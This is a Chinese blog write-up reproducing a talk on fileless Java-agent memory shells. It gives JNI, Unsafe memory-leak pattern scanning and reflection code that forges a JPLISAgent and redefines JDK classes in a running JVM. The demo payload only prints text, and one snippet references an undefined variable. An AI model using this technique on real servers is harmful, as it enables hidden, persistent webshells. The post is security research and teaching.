議題解析與復現--《Java記憶體攻擊技術漫談》(二)無檔案落地Agent型記憶體馬

xyylll發表於2021-11-05

無檔案落地Agent型記憶體馬植入

可行性分析

使用jsp寫入或者程式碼執行漏洞,如反序列化等,不需要上傳agent

Java 動態除錯技術原理及實踐 - 美團技術團隊 (meituan.com)

首先,我們先看一下通過Agent動態修改類的流程:

image

1.在客戶端和目標JVM建立IPC連線以後,客戶端會封裝一個用來載入agent.jar的AttachOperation物件,這個物件裡面有三個關鍵資料:actioName、libName和agentPath;
2.服務端收到AttachOperation後,呼叫enqueue壓入AttachOperation佇列等待處理;
3.服務端處理執行緒呼叫dequeue方法取出AttachOperation;
4.服務端解析AttachOperation,提取步驟1中提到的3個引數,呼叫actionName為load的對應處理分支,然後載入libinstrument.so(在windows平臺為instrument.dll),執行AttachOperation的On_Attach函式(由此可以看到,Java層的instrument機制,底層都是通過Native層的Instrument來封裝的);
5.libinstrument.so中的On_Attach會解析agentPath中指定的jar檔案,該jar中呼叫了redefineClass的功能;
6.執行流轉到Java層,JVM會例項化一個InstrumentationImpl類,這個類在構造的時候,有個非常重要的引數mNativeAgent:

image

這個引數是long型,其值是一個Native層的指標,指向的是一個C++物件JPLISAgent。7.InstrumentationImpl例項化之後,再繼續呼叫InstrumentationImpl類的redefineClasses方法,做稍許校驗之後繼續呼叫InstrumentationImpl的Native方法redefineClasses0
8.執行流繼續走入Native層:

image

以上是議題中的原文。個人解釋一下自己的理解

我們在server端的agentmain處下斷點,可以發現server端的呼叫棧是從InstrumentationImpl類開始的,這就是原文中的第六步,而之前幾步都是client 或者native層的操作。因此在java層,我們可以直接從InstrumentationImpl類入手構造惡意程式碼。

image-20211102201446879

這樣就要先構造InstrumentationImpl類,看一下建構函式,結合之前debug生成的資訊,發現var3=true,var4=false,需要構造的只要var1,即mNativeAgent,這個引數是long型,其值是一個Native層的指標,指向的是一個C++物件JPLISAgent。說明我們需要在native層構造合適的C++物件JPLISAgent。image-20211102203117657

 private InstrumentationImpl(long var1, boolean var3, boolean var4) {
        this.mNativeAgent = var1;//這個引數
        this.mEnvironmentSupportsRedefineClasses = var3;
        this.mEnvironmentSupportsRetransformClassesKnown = false;
        this.mEnvironmentSupportsRetransformClasses = false;
        this.mEnvironmentSupportsNativeMethodPrefix = var4;
    }

組建JPLISAgent

native記憶體操作

(32條訊息) java native記憶體_JVM Heap Memory和Native Memory_海闊山高人為峰的部落格-CSDN部落格

https://xz.aliyun.com/t/10186#toc-1

我們要在native層建立物件,就必然要操作native記憶體,即堆外記憶體。可以使用directByteBuffer,看一下directByteBuffer的實現,其主要是對unsafe進行了一個封裝,主要記憶體操作還是呼叫unsafe。因此使用unsafe也可以實現記憶體分配。

DirectByteBuffer(int cap) {                   // package-private
    super(-1, 0, cap, cap);
    boolean pa = VM.isDirectMemoryPageAligned();  //是否頁對齊
    int ps = Bits.pageSize();    //獲取pageSize大小
    long size = Math.max(1L, (long) cap + (pa ? ps : 0));  //如果是頁對齊的話,那麼就加上一頁的大小
    Bits.reserveMemory(size, cap);   //對分配的直接記憶體做一個記錄

    long base = 0;
    try {
        base = unsafe.allocateMemory(size);  //實際分配記憶體
    } catch (OutOfMemoryError x) {
        Bits.unreserveMemory(size, cap);
        throw x;
    }
    unsafe.setMemory(base, size, (byte) 0);   //初始化記憶體
    //計算地址
    if (pa && (base % ps != 0)) {
        // Round up to page boundary
        address = base + ps - (base & (ps - 1));
    } else {
        address = base;
    }
    //生成Cleaner
    cleaner = Cleaner.create(this, new Deallocator(base, size, cap));
    att = null;
}
Unsafe unsafe = null;
try {    Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");    field.setAccessible(true);    unsafe = (sun.misc.Unsafe) field.get(null);} catch (Exception e) {    throw new AssertionError(e);}

分析JPLISAgent結構

struct _JPLISAgent {
    JavaVM *                mJVM;                   /* handle to the JVM */
    JPLISEnvironment        mNormalEnvironment;     /* for every thing but retransform stuff */
    JPLISEnvironment        mRetransformEnvironment;/* for retransform stuff only */
    jobject                 mInstrumentationImpl;   /* handle to the Instrumentation instance */
    jmethodID               mPremainCaller;         /* method on the InstrumentationImpl that does the premain stuff (cached to save lots of lookups) */
    jmethodID               mAgentmainCaller;       /* method on the InstrumentationImpl for agents loaded via attach mechanism */
    jmethodID               mTransform;             /* method on the InstrumentationImpl that does the class file transform */
    jboolean                mRedefineAvailable;     /* cached answer to "does this agent support redefine" */
    jboolean                mRedefineAdded;         /* indicates if can_redefine_classes capability has been added */
    jboolean                mNativeMethodPrefixAvailable; /* cached answer to "does this agent support prefixing" */
    jboolean                mNativeMethodPrefixAdded;     /* indicates if can_set_native_method_prefix capability has been added */
    char const *            mAgentClassName;        /* agent class name */
    char const *            mOptionsString;         /* -javaagent options string */
};

JPLISAgent結構複雜,所以我們從後面的redefineclass入手,看一下哪些引數需要。

void
redefineClasses(JNIEnv * jnienv, JPLISAgent * agent, jobjectArray classDefinitions) {
    jvmtiEnv*   jvmtienv                        = jvmti(agent);
    jboolean    errorOccurred                   = JNI_FALSE;
    jclass      classDefClass                   = NULL;
    jmethodID   getDefinitionClassMethodID      = NULL;
    jmethodID   getDefinitionClassFileMethodID  = NULL;
    jvmtiClassDefinition* classDefs             = NULL;
    jbyteArray* targetFiles                     = NULL;
    jsize       numDefs                         = 0;
    ...

這裡根據用法可以看出jvmti是一個巨集或函式,搜尋一下可以發現這是個巨集

image-20211103094937511

可以確定redefineclass需要mNormalEnvironment引數。

image-20211103095103115

來看一下這個引數的結構。

struct _JPLISEnvironment {
    jvmtiEnv *              mJVMTIEnv;              /* the JVM TI environment */
    JPLISAgent *            mAgent;                 /* corresponding agent */
    jboolean                mIsRetransformer;       /* indicates if special environment */
};

可以看到這個結構裡存在一個迴環指標mAgent,又指向了JPLISAgent物件,另外,還有個最重要的指標mJVMTIEnv,這個指標是指向記憶體中的JVMTIEnv物件的,這是JVMTI機制的核心物件。另外,經過分析,JPLISAgent物件中還有個mRedefineAvailable成員,必須要設定成true。

定位JVMTIEnv

這裡rebeyond師傅用的是動態除錯方法。本人不太會,主要是不知道是如何定位JPLISAgent地址的。

因此參考https://xz.aliyun.com/t/10186#toc-3中的技術

思路整理:遊望之師傅的文章https://xz.aliyun.com/t/10186#toc-3

通過

JNI_GetCreatedJavaVMs(&vm, 1, &count);

獲取vm物件,然後

vm->functions->GetEnv(vm, (void **)&_jvmti_env, JVMTI_VERSION_1_2);

獲取_jvmti_env。

以上程式碼都是java原生libjava.so中的方法。通過elf匯出符號定位想要將之替換的匯出函式,進行記憶體修改即可完成native層的呼叫。

個人的windows實現思路(未實現)

配合之前的程式注入執行任意native程式碼,GetModuleHandle獲取jvm.dll的地址,然後因為rebeyond師傅測試出JVMTIEnv物件存在於jvm模組的地址空間中,而且偏移量是固定的,那麼我們嘗試另外編寫一個JNI程式,然後呼叫

vm->functions->GetEnv(vm, (void **)&_jvmti_env, JVMTI_VERSION_1_2);

獲取_jvmti_env地址與jvm.dll的地址對比即可得到偏移量。

jni程式c程式碼

#include "pch.h"
#include "getAgent.h"
#include"getJPSAgent.h"
#include "jvmti.h"
JNIEXPORT void JNICALL Java_getJPSAgent_caloffset
(JNIEnv*, jobject) {
    struct JavaVM_* vm;
    jsize count;
    typedef jint(JNICALL* GetCreatedJavaVMs)(JavaVM**, jsize, jsize*);
    //本來想直接呼叫GetCreatedJavaVMs函式但是缺少特定標頭檔案,因此只能typedef定義另一個結構相同的函式
    GetCreatedJavaVMs jni_GetCreatedJavaVMs;
    // ...
    jni_GetCreatedJavaVMs = (GetCreatedJavaVMs)GetProcAddress(GetModuleHandle(
        TEXT("jvm.dll")), "JNI_GetCreatedJavaVMs");
    //由於jvm.dll在java程式開始時就已經載入,因此可以直接獲取dll中JNI_GetCreatedJavaVMs的地址
    jni_GetCreatedJavaVMs(&vm, 1, &count);//獲取jvm物件的地址
    struct jvmtiEnv_* _jvmti_env;
    HMODULE jvm = GetModuleHandle(L"jvm.dll");//獲取jvm基址
    vm->functions->GetEnv(vm, (void**)&_jvmti_env, JVMTI_VERSION_1_2);//獲取_jvmti_env的地址,即即指向JVMTIEnv指標的指標。
    printf(" hModule jvm = 0x%llx\n", jvm);
    printf(" struct JavaVM_* vm = 0x%llx\n", vm);
    printf(" _jvmti_env = 0x%llx\n", _jvmti_env);
 ;
}

image-20211104222650412

再用x64dbg attach程式檢視_jvmti_env的內容,綠線標出的就是JVMTIEnv的地址

image-20211104222807466

多次計算可以發現此java版本的jvmti_env對jvm.dll基址的偏移量固定,為0x9D6760。

此時,需要解決jvm基址的問題,由於aslr的原因,jvm基址不固定。這裡有兩種方法,一種為rebeyond師傅介紹的技術資訊洩露獲取JVM基址,另一種嘗試配合之前的程式注入執行任意native程式碼,GetModuleHandle獲取jvm.dll的地址。(沒試過)

資訊洩露獲取JVM基址

這裡rebeyond師傅的思路應該是 先使用unsafe來allocate一塊很小的記憶體,並且列印出它的地址。這樣在進行動態除錯時就可以直接定位到這塊記憶體。而在這塊記憶體空間周圍有一些可疑的指標,檢視一下正好有直接指向jvm.dll基址的指標。

編寫如下程式碼:

long allocateMemory = unsafe.allocateMemory(3);System.out.println("allocateMemory:"+Long.toHexString(allocateMemory));

輸出如下:

image-20211103183114949

定位到地址0x20F03026430:

image-20211103183040811

可見前後有很多指標,綠色的那些指標,都指向jvm的地址空間內:

image-20211103183210500

由於這些指標不是固定的,每次除錯都會有不同的結果,但是是偽隨機,有一定的規律。因此rebeyond師傅使用了統計學的方法,編寫程式反覆收集對應的資料,將指標地址後兩位,指標指向的內容的後兩位,以及該指標與jvm.dll基址的偏移量,收整合表。再後續判斷基址時,通過前兩項判斷指標是否有效,通過偏移量來確定jvm.dll的基址。

  String patterns = "'3920':'a5b0':'633920','fe00':'a650':'60fe00','99f0':'cccc':'5199f0','8250':'a650':'638250','d200':'fdd0':'63d200','da70':'b7e0':'67da70','8d58':'a650':'638d58','f5c0':'b7e0':'67f5c0','8300':'8348':'148300','4578':'a5b0':'634578','b300':'a650':'63b300','ef98':'07b0':'64ef98','f280':'06e0':'60f280','5820':'4ee0':'5f5820','84d0':'a5b0':'5b84d0','00f0':'5800':'8300f0','1838':'b7e0':'671838','9f60':'b320':'669f60','e860':'08d0':'64e860','f7c0':'a650':'60f7c0','a798':'b7e0':'69a798','6888':'21f0':'5f6888','2920':'b6f0':'642920','45c0':'a5b0':'5d45c0','e1f0':'b5c0':'63e1f0','e128':'b5e0':'63e128','86a0':'4df0':'5b86a0','55a8':'64a0':'6655a8','8b98':'a650':'638b98','8a10':'b730':'648a10','3f10':'':'7b3f10','8a90':'4dc0':'5b8a90','e8e0':'0910':'64e8e0','9700':'7377':'5b9700','f500':'7073':'60f500','6b20':'a5b0':'636b20','b378':'bc50':'63b378','7608':'fb50':'5f7608','5300':'8348':'105300','8f18':'ff20':'638f18','7600':'3db0':'667600','92d8':'6d6d':'5e92d8','8700':'b200':'668700','45b8':'a650':'6645b8','8b00':'82f0':'668b00','1628':'a5b0':'631628','c298':'6765':'7bc298','7a28':'39b0':'5b7a28','3820':'4808':'233820','dd00':'c6a0':'63dd00','0be0':'a5b0':'630be0','aad0':'8e10':'7eaad0','4a98':'b7e0':'674a98','4470':'6100':'824470','6700':'4de0':'696700','a000':'3440':'66a000','2080':'a5b0':'632080','aa20':'64a0':'63aa20','5a00':'c933':'2d5a00','85f8':'4de0':'5b85f8','b440':'b5a0':'63b440','5d28':'1b80':'665d28','efd0':'a5b0':'62efd0','edc8':'a5b0':'62edc8','ad88':'b7e0':'69ad88','9468':'a8b0':'5b9468','af30':'b650':'63af30','e9e0':'0780':'64e9e0','7710':'b2b0':'667710','f528':'e9e0':'62f528','e100':'a5b0':'63e100','5008':'7020':'665008','a4c8':'a5b0':'63a4c8','6dd8':'e7a0':'5c6dd8','7620':'b5a0':'667620','f200':'0ea0':'60f200','d070':'d6c0':'62d070','6270':'a5b0':'5c6270','8c00':'8350':'668c00','4c48':'7010':'664c48','3500':'a5b0':'633500','4f10':'f100':'834f10','b350':'b7e0':'69b350','f5d8':'f280':'60f5d8','bcc0':'9800':'60bcc0','cd00':'3440':'63cd00','8a00':'a1d0':'5b8a00','0218':'6230':'630218','61a0':'b7e0':'6961a0','75f8':'a5b0':'5f75f8','fda8':'a650':'60fda8','b7a0':'b7e0':'69b7a0','f120':'3100':'81f120','ed00':'8b48':'4ed00','f898':'b7e0':'66f898','6838':'2200':'5f6838','e050':'b5d0':'63e050','bb78':'86f0':'60bb78','a540':'b7e0':'67a540','8ab8':'a650':'638ab8','d2b0':'b7f0':'63d2b0','1a50':'a5b0':'631a50','1900':'a650':'661900','6490':'3b00':'836490','6e90':'b7e0':'696e90','9108':'b7e0':'679108','e618':'b170':'63e618','6b50':'6f79':'5f6b50','cdc8':'4e10':'65cdc8','f700':'a1d0':'60f700','f803':'5000':'60f803','ca60':'b7e0':'66ca60','0000':'6a80':'630000','64d0':'a5b0':'6364d0','09d8':'a5b0':'6309d8','dde8':'bb50':'63dde8','d790':'b7e0':'67d790','f398':'0840':'64f398','4370':'a5b0':'634370','ca10':'1c20':'5cca10','9c88':'b7e0':'679c88','d910':'a5b0':'62d910','24a0':'a1d0':'6324a0','a760':'b880':'64a760','90d0':'a880':'5b90d0','6d00':'82f0':'666d00','e6f0':'a640':'63e6f0','00c0':'ac00':'8300c0','f6b0':'b7d0':'63f6b0','1488':'afd0':'641488','ab80':'0088':'7eab80','6d40':'':'776d40','8070':'1c50':'668070','fe88':'a650':'60fe88','7ad0':'a6d0':'667ad0','9100':'a1d0':'699100','8898':'4e00':'5b8898','7c78':'455':'7a7c78','9750':'ea70':'5b9750','0df0':'a5b0':'630df0','7bd8':'a1d0':'637bd8','86b0':'a650':'6386b0','4920':'b7e0':'684920','6db0':'7390':'666db0','abe0':'86e0':'63abe0','e960':'0ac0':'64e960','97a0':'3303':'5197a0','4168':'a5b0':'634168','ee28':'b7e0':'63ee28','20d8':'b7e0':'6720d8','d620':'b7e0':'67d620','0028':'1000':'610028','f6e0':'a650':'60f6e0','a700':'a650':'64a700','4500':'a1d0':'664500','8720':'':'7f8720','8000':'a650':'668000','fe38':'b270':'63fe38','be00':'a5b0':'63be00','f498':'a650':'60f498','d8c0':'b3c0':'63d8c0','9298':'b7e0':'699298','ccd8':'4de0':'65ccd8','7338':'cec0':'5b7338','8d30':'6a40':'5b8d30','4990':'a5b0':'634990','84f8':'b220':'5e84f8','cb80':'bbd0':'63cb80'";
        //patterns="'bbf8':'7d00':'5fbbf8','68f8':'17e0':'5e68f8','6e28':'e570':'5b6e28','bd48':'8e10':'5fbd48','4620':'9ff0':'5c4620','ca70':'19f0':'5bca70'";//for windows_java8_301_x64
          // patterns="'8b80':'8f10':'ef8b80','9f20':'0880':'f05f20','65e0':'4855':'6f65e0','4f20':'b880':'f05f20','7300':'8f10':'ef7300','aea0':'ddd0':'ef8ea0','1f20':'8880':'f05f20','8140':'8f10':'ef8140','75e0':'4855':'6f65e0','6f20':'d880':'f05f20','adb8':'ddd0':'ef8db8','ff20':'6880':'f05f20','55e0':'4855':'6f65e0','cf20':'3880':'f05f20','05e0':'4855':'6f65e0','92d8':'96d0':'eff2d8','8970':'8f10':'ef8970','d5e0':'4855':'6f65e0','8e70':'4350':'ef6e70','d2d8':'d6d0':'eff2d8','d340':'bf00':'f05340','f340':'df00':'f05340','2f20':'9880':'f05f20','1be0':'d8b0':'f6fbe0','8758':'c2a0':'ef6758','c340':'af00':'f05340','f5e0':'4855':'6f65e0','c5e0':'4855':'6f65e0','b2d8':'b6d0':'eff2d8','02d8':'06d0':'eff2d8','ad88':'ddb0':'ef8d88','62d8':'66d0':'eff2d8','7b20':'3d50':'ef7b20','82d8':'86d0':'eff2d8','0f20':'7880':'f05f20','9720':'8f10':'f69720','7c80':'5850':'ef5c80','25e0':'4855':'6f65e0','32d8':'36d0':'eff2d8','e340':'cf00':'f05340','ec80':'c850':'ef5c80','85e0':'add0':'6f65e0','9410':'c030':'ef9410','5f20':'c880':'f05f20','1340':'ff00':'f05340','b340':'9f00':'f05340','7340':'5f00':'f05340','35e0':'4855':'6f65e0','3f20':'a880':'f05f20','8340':'6f00':'f05340','4340':'2f00':'f05340','0340':'ef00':'f05340','22d8':'26d0':'eff2d8','e5e0':'4855':'6f65e0','95e0':'4855':'6f65e0','19d0':'d830':'f6f9d0','52d8':'56d0':'eff2d8','c420':'b810':'efc420','b5e0':'ddd0':'ef95e0','c2d8':'c6d0':'eff2d8','5340':'3f00':'f05340','df20':'4880':'f05f20','15e0':'4855':'6f65e0','a2d8':'a6d0':'eff2d8','9340':'7f00':'f05340','8070':'add0':'ef9070','f2d8':'f6d0':'eff2d8','72d8':'76d0':'eff2d8','6340':'4f00':'f05340','2340':'0f00':'f05340','3340':'1f00':'f05340','b070':'ddd0':'ef9070','45e0':'4855':'6f65e0','8d20':'add0':'ef9d20','6180':'8d90':'ef6180','8f20':'f880':'f05f20','8c80':'6850':'ef5c80','a5e0':'4855':'6f65e0','ef20':'5880':'f05f20','8410':'b030':'ef9410','b410':'e030':'ef9410','bf20':'2880':'f05f20','e2d8':'e6d0':'eff2d8','bd20':'ddd0':'ef9d20','12d8':'16d0':'eff2d8','9928':'8f10':'f69928','9e28':'8f10':'f69e28','4c80':'2850':'ef5c80','7508':'8f10':'ef7508','1df0':'d940':'f6fdf0'"; //for linux_java8_301_x64
        long jvmtiOffset=0x79a220; //for java_8_271_x64 相對基址固定
        // jvmtiOffset=0x78a280; //for windows_java_8_301_x64
        // jvmtiOffset=0xf9c520; //for linux_java_8_301_x64
        List<Map<String, String>> patternList = new ArrayList<Map<String, String>>();
        for (String pair : patterns.split(",")) {
            String offset = pair.split(":")[0].replace("'", "").trim();
            String value = pair.split(":")[1].replace("'", "").trim();
            String delta = pair.split(":")[2].replace("'", "").trim();
            Map pattern = new HashMap<String, String>();
            pattern.put("offset", offset);
            pattern.put("value", value);
            pattern.put("delta", delta);
            patternList.add(pattern);        }
        //構建不同版本jdk對應的offset,value,delta

    int offset = 8;
    int targetHexLength=8; //on linux,change it to 12.
    for (int j = 0; j < 0x2000; j++)  //down search
         {
             for (int x : new int[]{-1, 1}) {
                 long target = unsafe.getAddress(allocateMemory + j * x * offset);//獲取allocateMemory前後的內容
                 String targetHex = Long.toHexString(target);//將目標地址轉換成16進位制字串
                 if (target % 8 > 0 || targetHex.length() != targetHexLength) {//看目標地址是否是8的倍數,其內容是否是8位
                     continue;                }
                 if (targetHex.startsWith("a") || targetHex.startsWith("b") || targetHex.startsWith("c") || targetHex.startsWith("d") || targetHex.startsWith("e") || targetHex.startsWith("f") || targetHex.endsWith("00000")) {
                     continue;  }
                 System.out.println("[-]start get " + Long.toHexString(allocateMemory + j * x * offset) + ",at:" + Long.toHexString(target) + ",j is:" + j);
        for (Map<String, String> patternMap : patternList) {//符合前面條件後,進一步去匹配MapList中的內容
            targetHex = Long.toHexString(target);
            if (targetHex.endsWith(patternMap.get("offset"))) {//先匹配offset
                String targetValueHex = Long.toHexString(unsafe.getAddress(target));
                System.out.println("[!]bingo.");
                if (targetValueHex.endsWith(patternMap.get("value"))) {//再匹配value
                    System.out.println("[ok]i found agent env:start get " + Long.toHexString(target) + ",at  :" + Long.toHexString(unsafe.getAddress(target)) + ",j is:" + j);
                    System.out.println("[ok]jvm base is " + Long.toHexString(target - Integer.parseInt(patternMap.get("delta"), 16)));//找到後拿目標地址減去偏移量就是基址
                    System.out.println("[ok]jvmti object addr is " + Long.toHexString(target - Integer.parseInt(patternMap.get("delta"), 16) + jvmtiOffset));//基址加上jvmtiOffset就是jvmti object addr,即mJVMTIEnv
                    long jvmenvAddress=target-Integer.parseInt(patternMap.get("delta"),16)+0x776d30;   
                    long jvmtiAddress = target - Integer.parseInt(patternMap.get("delta"), 16) + jvmtiOffset;      
                    long agentAddress = getAgent(jvmtiAddress);                  
                    System.out.println("agentAddress:" + Long.toHexString(agentAddress));   
                            Bird bird = new Bird();                
                    bird.sayHello();               
                    doAgent(agentAddress);
                //doAgent(Long.parseLong(address));
                bird.sayHello();     
                return; }
                    
                    

開始組裝

rebeyond師傅的組裝程式碼,這裡有些引數不太懂,使用下面反射構造的方法

    private static long getAgent(long jvmtiAddress) {       
    Unsafe unsafe = getUnsafe();       
    long agentAddr = unsafe.allocateMemory(0x200); 
    long jvmtiStackAddr = unsafe.allocateMemory(0x200);      
    unsafe.putLong(jvmtiStackAddr, jvmtiAddress);  
    unsafe.putLong(jvmtiStackAddr + 8, 0x30010100000071eel);
    unsafe.putLong(jvmtiStackAddr + 0x168, 0x9090909000000200l);   
    System.out.println("long:" + Long.toHexString(jvmtiStackAddr + 0x168));      
    unsafe.putLong(agentAddr, jvmtiAddress - 0x234f0);
    unsafe.putLong(agentAddr + 0x8, jvmtiStackAddr);       
    unsafe.putLong(agentAddr + 0x10, agentAddr);     
    unsafe.putLong(agentAddr + 0x18, 0x00730065006c0000l);
        //make retransform env
    unsafe.putLong(agentAddr + 0x20, jvmtiStackAddr);
    unsafe.putLong(agentAddr + 0x28, agentAddr);       
    unsafe.putLong(agentAddr + 0x30, 0x0038002e00310001l);
    unsafe.putLong(agentAddr + 0x38, 0);    
    unsafe.putLong(agentAddr + 0x40, 0);     
    unsafe.putLong(agentAddr + 0x48, 0);     
    unsafe.putLong(agentAddr + 0x50, 0);
    unsafe.putLong(agentAddr + 0x58, 0x0072007400010001l);   
    unsafe.putLong(agentAddr + 0x60, agentAddr + 0x68); 
    unsafe.putLong(agentAddr + 0x68, 0x0041414141414141l);        return agentAddr;    }

現在的思路:

先使用JNI獲取native_jvmtienv

使用反射構造sun.instrument.InstrumentationImpl物件

    Unsafe unsafe = null;
        try {    Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
            field.setAccessible(true);
            unsafe = (sun.misc.Unsafe) field.get(null);}
        catch (Exception e) {
            throw new AssertionError(e);}
        long JPLISAgent = unsafe.allocateMemory(0x1000);
        unsafe.putLong(JPLISAgent + 8, native_jvmtienv);
        unsafe.putByte(native_jvmtienv + 361, (byte) 2);
        Class<?> instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl");
        Constructor<?> constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class);
        constructor.setAccessible(true);
        Object insn = constructor.newInstance(JPLISAgent, true, false);

然後就可以使用addtransformer方法等。

現在addtransformer方法遇到了問題,丟擲異常。主要是這裡有一個能否retransform的判斷。

image-20211105171444399

這裡通過反射更改紫色欄位的值可以解決,但是後續在setHasRetransformableTransformers方法處還是會報異常。

image-20211105195737915

因此捨棄通過retransform來更改class的方法。

我們使用redefineClazz來重定義class實現更改。

核心程式碼

使用javaassist實現類的更改,反射呼叫redefineClasses來實現class的替換.更改java.io.RandomAccessFile類中getFD方法的程式碼

public void redefine(Object insn,Class instrument_clazz) throws IOException, CannotCompileException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        ClassPool pool = ClassPool.getDefault();
    	CtClass string_clazz = null;
        string_clazz = pool.get("java.io.RandomAccessFile");
        CtMethod method_getname = string_clazz.getDeclaredMethod("getFD");
        method_getname.insertBefore("System.out.println(\"hi, from java instrucment api\");");
        //CtClass ctClass = pool.makeClass(new FileInputStream("D:\\記憶體馬\\java-agent\\java.io.RandomAccessFile.txt\\java\\io\\RandomAccessFile.class"));//獲取Ctclass物件
        byte[] bytes = ctClass.toBytecode();//取出其位元組碼 
        ClassDefinition definition = new ClassDefinition(Class.forName("java.io.RandomAccessFile"), bytes);//將位元組碼作為引數,重構java.io.RandomAccessFile
        Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class);//反射呼叫redefineClass
        redefineClazz.invoke(insn, new Object[] {
                new ClassDefinition[] {
                        definition
                }
        });

    }

到這裡基本完成了無檔案型agent記憶體馬。

最後再來整理一下實現思路。

  • 首先我們要實現無檔案型agent記憶體馬,需要先構造sun.instrument.InstrumentationImpl物件
  • 而這個建構函式需要mnativeagent引數,這個引數需要我們定位JVMTIEnv,JVMTIEnv與jvm基址的偏移量固定,因此我們確定jvm基址,這裡使用rebeyond師傅的資訊洩露獲取JVM基址來實現。
  • 獲得JVMTIEnv後需要先使用unsafe方法在native層建立JPLISAgent指標,並將JVMTIEnv存放在+8偏移處。
  • 使用反射構造sun.instrument.InstrumentationImpl物件,並呼叫相關方法
  • 配合javaassist更改需要的類的位元組碼,呼叫redefineClasses來實現class的替換。

相關文章